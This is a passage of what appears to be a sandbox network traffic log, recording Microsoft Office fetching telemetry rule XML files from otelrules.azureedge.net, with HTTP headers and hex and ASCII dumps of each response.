2024-11-18 16:24:17 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:17 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 78f9d12a-601e-0070-27c4-37a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162417Z-1866b5c5fbbr78bbhC1DFWqz2n000000065g00000000c159 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:17 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49919	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:17 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:18 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:17 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: dfb03e2b-001e-00ad-2bc4-37554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162417Z-16547b76f7fhv4d5hC1DFW7h0n000000049g00000000uhpy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:18 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49921	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:18 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:18 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:18 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 67879f82-a01e-000d-0dd2-37d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162418Z-16547b76f7fgvq8chC1DFWhd2w00000006p0000000007hfs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:18 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49922	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:18 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:18 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:18 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 0e6654d1-b01e-0097-46c4-374f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162418Z-1866b5c5fbbz7hb5hC1DFWru7c0000000600000000008e5v x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:18 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49923	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:18 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:18 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:18 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 11343522-e01e-0085-0240-36c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162418Z-1866b5c5fbbg9tvxhC1DFWy9mg00000001yg000000003w8f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:18 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49924	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:18 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:18 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:18 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 0f1e6d84-801e-007b-5baf-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162418Z-16547b76f7fmcv27hC1DFWgpcg00000004r000000000v9dg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:18 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49925	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:18 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:18 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:18 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: bcf92b81-701e-000d-51b1-376de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162418Z-164f84587bfm8kdnhC1DFWey4g000000064g00000000anwr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:18 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49926	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:19 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:19 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:19 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 152871bd-d01e-002b-2382-3725fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162419Z-1866b5c5fbb7km9phC1DFWr2sc00000004tg00000000mrf0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:19 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49928	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:19 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:19 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:19 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: acaa001d-f01e-0003-19b2-374453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162419Z-164f84587bftbpb6hC1DFWm4kg00000004xg000000000huf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:19 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49927	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:19 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:19 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:19 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: dd43ea10-201e-0003-39d2-37f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162419Z-1866b5c5fbb2t6txhC1DFWa2qc0000000650000000003d45 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:19 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49929	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:19 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:19 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:19 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: f8daa98b-f01e-0085-209b-3888ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162419Z-1866b5c5fbb2ngs6hC1DFW402w00000004c0000000002dsv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:19 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49930	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:19 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:19 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:19 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 9c34710c-f01e-0071-6c8a-37431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162419Z-164f84587bffvwt9hC1DFW2ktw00000003p000000000sd5t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:19 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49931	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:20 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
